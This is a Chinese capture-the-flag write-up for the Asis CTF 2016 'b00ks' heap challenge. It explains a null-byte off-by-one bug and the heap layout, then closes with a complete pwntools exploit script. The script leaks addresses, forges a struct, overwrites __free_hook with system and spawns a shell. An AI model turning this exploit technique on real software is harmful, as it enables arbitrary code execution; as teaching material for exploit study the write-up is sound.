Asis CTF 2016 b00ks
2026/9/14 23:20:17 网站建设 项目流程

这是一道堆基础-off-by-one,第一次接触堆,感觉比栈更加抽象和烧脑,我们看一下这道堆题目,其实这道题目是针对一个作者的所有相关书籍的一个整理。

我们还是老样子,拿到题目先看一下相关的保护,除了没有金丝雀其他保护全开,我们直接进行ida静态分析

__int64 __fastcall main(int a1, char **a2, char **a3) { struct _IO_FILE *v3; // rdi int v4; // eax setvbuf(stdout, 0, 2, 0); v3 = stdin; setvbuf(stdin, 0, 1, 0); sub_A77(); sub_B6D(); while ( 1 ) { v4 = sub_A89(); if ( v4 == 6 ) break; switch ( v4 ) { case 1: sub_F55(); break; case 2: sub_BBD(); break; case 3: sub_E17(); break; case 4: sub_D1F(v3); break; case 5: sub_B6D(); break; default: v3 = (struct _IO_FILE *)"Wrong option"; puts("Wrong option"); break; } } puts("Thanks to use our library software"); return 0; }

我们直接查看主函数逻辑

_int64 sub_B6D() { printf("Enter author name: "); if ( !(unsigned int)sub_9F5(off_202018, 32) ) return 0; printf("fail to read author_name"); return 1; }

这个sub_B6D函数就是输入作者名字,这个函数就是我们后续使用的漏洞触发点。我们继续查看一下sub_9F5

__int64 __fastcall sub_9F5(_BYTE *a1, int a2) { int i; // [rsp+14h] [rbp-Ch] if ( a2 <= 0 ) return 0; for ( i = 0; ; ++i ) { if ( (unsigned int)read(0, a1, 1u) != 1 ) return 1; if ( *a1 == 10 ) break; ++a1; if ( i == a2 ) break; } *a1 = 0; return 0; }

我们发现这个函数是一个循环输入函数,而且我们看地17行,问题就出现在这里,当我们传进来的a2是32的时候,如果在满足上述条件的情况下,就会使第33位等于0,这就完全符合我们的这个题目off-by-one

__int64 sub_A89() { int v1; // [rsp+Ch] [rbp-4h] BYREF v1 = -1; puts("\n1. Create a book"); //1. 创建书籍 puts("2. Delete a book"); //2. 删除书籍 puts("3. Edit a book"); //3.编辑书籍 puts("4. Print book detail"); //4. 打印书籍详情 puts("5. Change current author name"); //5. 修改当前作者名 puts("6. Exit"); //6. 退出 printf("> "); __isoc99_scanf("%d", &v1); if ( v1 <= 6 && v1 > 0 ) return (unsigned int)v1; else return 0xFFFFFFFFLL; }

我们看Create函数

__int64 sub_F55() { int v1; // [rsp+0h] [rbp-20h] BYREF int v2; // [rsp+4h] [rbp-1Ch] void *v3; // [rsp+8h] [rbp-18h] void *ptr; // [rsp+10h] [rbp-10h] void *v5; // [rsp+18h] [rbp-8h] v1 = 0; printf("\nEnter book name size: "); __isoc99_scanf("%d", &v1); if ( v1 < 0 ) goto LABEL_2; printf("Enter book name (Max 32 chars): "); ptr = malloc(v1); if ( !ptr ) { printf("unable to allocate enough space"); goto LABEL_17; } if ( (unsigned int)sub_9F5(ptr, v1 - 1) ) { printf("fail to read name"); goto LABEL_17; } v1 = 0; printf("\nEnter book description size: "); __isoc99_scanf("%d", &v1); if ( v1 < 0 ) { LABEL_2: printf("Malformed size"); } else { v5 = malloc(v1); if ( v5 ) { printf("Enter book description: "); if ( (unsigned int)sub_9F5(v5, v1 - 1) ) { printf("Unable to read description"); } else { v2 = sub_B24(); if ( v2 == -1 ) { printf("Library is full"); } else { v3 = malloc(0x20u); if ( v3 ) { *((_DWORD *)v3 + 6) = v1; *((_QWORD *)off_202010 + v2) = v3; *((_QWORD *)v3 + 2) = v5; *((_QWORD *)v3 + 1) = ptr; *(_DWORD *)v3 = ++unk_202024; return 0; } printf("Unable to allocate book struct"); } } } else { printf("Fail to allocate memory"); } } LABEL_17: if ( ptr ) free(ptr); if ( v5 ) free(v5); if ( v3 ) free(v3); return 1; }

这个函数的逻辑比较简单,我们就不过多的解释了

最后会形成一个数据结构,这里给大家列出来方便大家理解

struct book { // 0x20 字节 int id; // +0x00 char *name; // +0x08 独立分配的 name 字符串 char *description; // +0x10 独立分配的 description 字符串 int size; // +0x18 description 大小 }; book **library; // 0x202010 → library[20] 数组(bss) char *author_name; // 0x202018 → author_name[32] 缓冲区,紧跟 library[0](相邻)

这里意思是偏移202010的位置处存储着202060的地址

这个40就是作者的姓名,60是书本的地址,之间相差0x20也就是32字节

我们接下来看一下剩下几个函数

edit(0xe17)

int edit() { int id; printf("Enter the book id you want to edit: "); scanf("%d", &id); // 按 id 找 book,找不到报错 printf("Enter new book description: "); if (my_read(library[i]->description, library[i]->size - 1) != 0) { // 注意 size-1,无越界 printf("Unable to read new description"); return 1; } return 0; }

delete_book(0xbbd)

int delete_book() { int id; printf("Enter the book id you want to delete: "); scanf("%d", &id); // 按 id 找 book,找不到报错 free(library[i]->name); // 1. free name free(library[i]->description); // 2. free description free(library[i]); // 3. free 结构体 library[i] = NULL; return 0; }

show(0xd1f)—— 泄露点

void show() { for (int i = 0; i <= 0x13; i++) { if (library[i]) { printf("ID: %d\n", library[i]->id); printf("Name: %s\n", library[i]->name); printf("Description: %s\n", library[i]->description); printf("Author: %s\n", author_name); // 打印 author_name(32 字节,无 null 会连读 library[0]) } } }

author_name'a'*32填满无 null 终止,printf("Author: %s")会连读library[0]指针 → 泄露 book 结构体地址。

好了,我们静态分析已经完成了,漏洞点和利用流程都确定的差不多了,其实这个图书馆漏洞就是: 利用未完全截断的初始化输入泄露堆地址;接着通过“修改作者名”功能触发单字节空字节溢出(Null-byte off-by-one),将第 1 个图书指针的最低有效字节覆写,使其“指鹿为马”地重定向至book1自身内存中的简介区域;在精细的堆布局(Heap Feng Shui)控制下,该区域被预先写入了一个伪造的假结构体,配合超大mmap内存块紧邻libc区域的特性,通过假结构体成功实现了任意地址读并泄露libc基址以绕过 ASLR;最终依托伪造结构体带来的任意地址写能力,将libc中的__free_hook覆写为system函数,并在执行删书(free)操作时隐蔽地触发system("/bin/sh"),成功劫持控制流并取得 Shell。

我们接下来去ubuntu中进行动态验证一下

这里我们在进行gdb调试的同时将aslr保护给关闭了,这样以来我在分析利用的过程中也更方便观察,也有利于各位看官的理解

这里我们创建了两本书,可能会有部分看官会对这几组数据有点疑惑,我们进行解答一下:

1.为什么是208?

我们这个漏洞需要利用desc伪造一个结构体,然后在输入作者名字的时候进行溢出一个字节00覆盖library[0]的最后一个字节,覆盖后最后一个字节是00,那么这样以来我们就需要将desc的地址最后两位设置为0,怎么做呢?desc 的地址 = name 的地址 + name 这一块的大小, name 这一块的大小 = name_size + 0x10,这两个公司不懂的话,去看一下堆基础,这里不做解释了。

这里我们看上面这张图。其实我们现在的图书馆中只有我们新创建的两本书,所有v3的地址就是第一本书name的地址,

这里的第二个数值就是name的地址,看不懂的区分一下qword和dword,所以最后推算出这个name size是208;

2.这个32的话区分一下qword和dword,然后算一下这个结构体的大小

3.135168(0x21000)是什么?这里其实是页对齐的原因,我们需要使用mmap进行动态映射,这是为什么呢?因为内存映射会将新内存空间映射到libc库,这样一来,我们算libc的基地址和查找system的地址的时候都会非常的方便

好了,理解了上面的内容下面就简单多了

我们一开始在作者名字的地方输入了32个a,刚好经过sub_9F5之后就发生了off-by-one

我们看到我们进行打印书籍的时候发现出现了乱码,这是怎么回事呢?

其实这不是乱码,而是地址,只是系统有时候会识别失败

'0' = 0x30 'U' = 0x55 '`' = 0x60 'U' = 0x55 'U' = 0x55 'U' = 0x55,小端序得到了book1 结构体地址 0x555555605530!

这样就完成了漏洞的利用,还没结束呢

接下来就是真正的名刀了,我们要利用这个漏洞进行伪造和泄漏地址

上图我们就成功地伪造了一个假的结构体

这里已经泄漏成功了,这个乱码就是0x7f,也就是mmap之后的地址,但是一些读者,可能到这里直接就蒙了,我们不是利用作者姓名进行的漏洞泄露吗?这里怎么会成这样呢?怎么泄露的地址跑到name和desc上面去了?哈哈哈哈。其实这里就是你对这个漏洞真正的利用思路的不理解,我们在进行解释一边,我们是利用这个作者的名字进行溢出一个字节进行覆盖第一本书地址,让他指向了第一本书desc,也就是我们伪造的结构体,我们仔细看看我们伪造的内容是什么呢?

假结构体.name = 0x...5568 = 第二本书的 name 字段

假结构体.description = 0x...5570 = 第二本书的 desc 字段

想必到这里部分读者就名报了,这里指向的就是我们的第二本书啊,我们进入这个地址读取之后泄漏出来的地址不就是mmap之后的地址吗?这样以来我们就成功的利用了这个漏洞,大家可以好好体会一下,没想到真正的名刀不是作者名字而是后面的mmap吧,至此,我们这个漏洞的雏形已经完全显露出来了,这个时候我们就要化身为猥琐的黑客,开始做坏事了,接下来就是算出libc的基地址,找到freehook函数和system系统调用的地址;然后将free的地址替换为system,这样我们只需要触发free就可以执行system("bin/sh")拿shell了,这里如果继续使用gdb进行一步一步读地址,设置,泄漏,在加上保护全开,这样会很麻烦也很浪费时间,我们直接使用一个脚本搞定,只要上面的内容大家可以理解就行

# 导入 pwntools 库,里面封装了 exploit 需要的所有工具(启动进程、收发数据、打包地址等) from pwn import * # 设置日志级别为 info:运行时会在屏幕上打印关键信息(如泄露到的地址) context.log_level = 'info' # 用 ELF() 解析 libc 文件,拿到它的符号表 # 之后就能通过 libc.symbols['__free_hook'] 之类的写法,直接查到函数在 libc 里的"偏移" libc = ELF('./libc-2.23.so') # 启动 b00ks 程序(本地进程) io = process('./b00ks') # ============================================================ # 下面是 5 个辅助函数:把"点菜单 + 发数据"包装成一行调用,让主流程读起来清爽 # sendlineafter(A, B) = 一直等,等到收到 A 这个提示,再发送 B(自动带换行) # ============================================================ # 【建书】菜单选 1,然后依次发:名字大小、书名、简介大小、简介 def create(ns, name, ds, desc): io.sendlineafter(b'> ', b'1') # 等菜单提示 '> ',发 '1'(进入建书) io.sendlineafter(b'name size: ', str(ns).encode()) # 等 'name size: ',发名字大小(数字) io.sendlineafter(b'name (Max 32 chars): ', name) # 等 'name ...',发书名(字符串) io.sendlineafter(b'description size: ', str(ds).encode()) # 等 'description size: ',发简介大小 io.sendlineafter(b'description: ', desc) # 等 'description: ',发简介内容 # 【删书】菜单选 2,发要删的书号 def delete(idx): io.sendlineafter(b'> ', b'2') # 等 '> ',发 '2'(进入删书) io.sendlineafter(b'delete: ', str(idx).encode()) # 等 'delete: ',发书号 # 【编辑】菜单选 3,发书号 + 新简介(这里的 desc 可以是二进制,因为后面要写地址) def edit(idx, desc): io.sendlineafter(b'> ', b'3') # 等 '> ',发 '3'(进入编辑) io.sendlineafter(b'edit: ', str(idx).encode()) # 等 'edit: ',发书号 io.sendlineafter(b'description: ', desc) # 等 'description: ',发新简介(可含二进制字节) # 【改作者名】菜单选 5,发新名字(这是触发 off-by-null 的地方) def author(name): io.sendlineafter(b'> ', b'5') # 等 '> ',发 '5'(进入改作者名) io.sendlineafter(b'name: ', name) # 等 'name: ',发新名字 # 【打印详情】菜单选 4(这是泄露地址的地方) def show(): io.sendlineafter(b'> ', b'4') # 等 '> ',发 '4'(打印所有书的信息) # ============================================================ # 下面是主流程,对应之前手动调试时走的那几步 # ============================================================ # 步骤1:程序一启动就要求输入作者名,塞满 32 个字节触发 off-by-null # 注意:此时 library 还是空的,这次越界写"没有实际作用",只是为后面做铺垫 io.sendlineafter(b'Enter author name: ', b'a' * 32) # 发 32 个 'a'(正好塞满 author_name) # 步骤2:建两本书 # book1:name_size = 0xd0 —— 让 desc 恰好落在"末两位 00"的地址(页首) # book2:name/desc size = 0x21000 —— 超过 128KB,逼 malloc 走 mmap,地址落到 libc 附近 create(0xd0, b'name1', 0x20, b'desc1') # 第1本书(小尺寸,走堆) create(0x21000, b'name2', 0x21000, b'desc2') # 第2本书(大尺寸,走 mmap) # 步骤3:泄露 book1 结构体地址 show() # 触发打印(选 4) io.recvuntil(b'Author: ') # 一直接收,直到出现 'Author: ' io.recvuntil(b'a' * 32) # 再跳过 32 个 'a' book1_addr = u64(io.recv(6).ljust(8, b'\x00')) # 读接下来的 6 字节,右边补 0 到 8 字节,按小端还原成整数 log.success('book1_addr = ' + hex(book1_addr)) # 打印泄露到的 book1 地址 # 步骤4:构造"假结构体",写进 book1 的 desc(通过菜单 edit 写入) # 假结构体的 4 个字段: # id = 1 # name = book1 + 0x38 (= book2 的 name 字段地址) # description = book1 + 0x40 (= book2 的 desc 字段地址) # size = 0xffff # p64(x) = 把整数 x 打包成 8 字节小端 fake = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff) edit(1, fake) # 选 3 编辑第1本书,把假结构体写进它的 desc # 步骤5:再次触发 off-by-null,把 library[0] 最低字节清零 # 效果:library[0] 从"指向真 book1 结构体"变成"指向假结构体" author(b'A' * 32) # 选 5,发 32 个 'A'(塞满触发越界写) # 步骤6:通过假结构体泄露 book2 的 name/desc 指针(都是 mmap 地址) show() # 触发打印 io.recvuntil(b'Name: ') # 一直接收,直到出现 'Name: ' book2_name = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 读到换行(去掉换行符),补 0 还原成 book2 name 地址 io.recvuntil(b'Description: ') # 一直接收,直到 'Description: ' book2_desc = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 同理,还原出 book2 desc 地址 log.success('book2_name = ' + hex(book2_name)) # 打印 log.success('book2_desc = ' + hex(book2_desc)) # 打印 # 步骤7:用 mmap 地址反推 libc 基址 # 关 ASLR(setarch -R)时,book2 desc 的 mmap 地址相对 libc 基址有固定偏移 0x7b2010 libc_base = book2_desc - 0x7b2010 # 减掉固定偏移,得到 libc 基址 log.success('libc_base = ' + hex(libc_base)) # 打印 free_hook = libc_base + libc.symbols['__free_hook'] # 基址 + __free_hook 的偏移 = 它的真实地址 system = libc_base + libc.symbols['system'] # 基址 + system 的偏移 = system 的真实地址 log.success('free_hook = ' + hex(free_hook)) # 打印 log.success('system = ' + hex(system)) # 打印 # 步骤8-11:任意写(两级跳),把 free_hook 改成 system,把 book2.name 改成 "/bin/sh" # 第一跳:改假结构体的 desc 字段(它其实就是 book2 的 desc 字段),让 book2.desc 指针 = free_hook edit(1, p64(free_hook)) # 第二跳:现在 book2.desc 指向 free_hook,往它写 system,即 free_hook = system edit(2, p64(system)) # 把 book2.desc 指回 book2.name,为下一步写 "/bin/sh" 做准备 edit(1, p64(book2_name)) # 写 "/bin/sh" 到 book2.name(末尾 \x00 是字符串结束符) edit(2, b'/bin/sh\x00') # 步骤12:删除第2本书,触发 free(book2.name) # free 发现 __free_hook 非空,就调用 __free_hook(指针) = system("/bin/sh"),于是拿到 shell delete(2) # 进入交互模式:拿到 shell 后可以敲任意命令 io.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询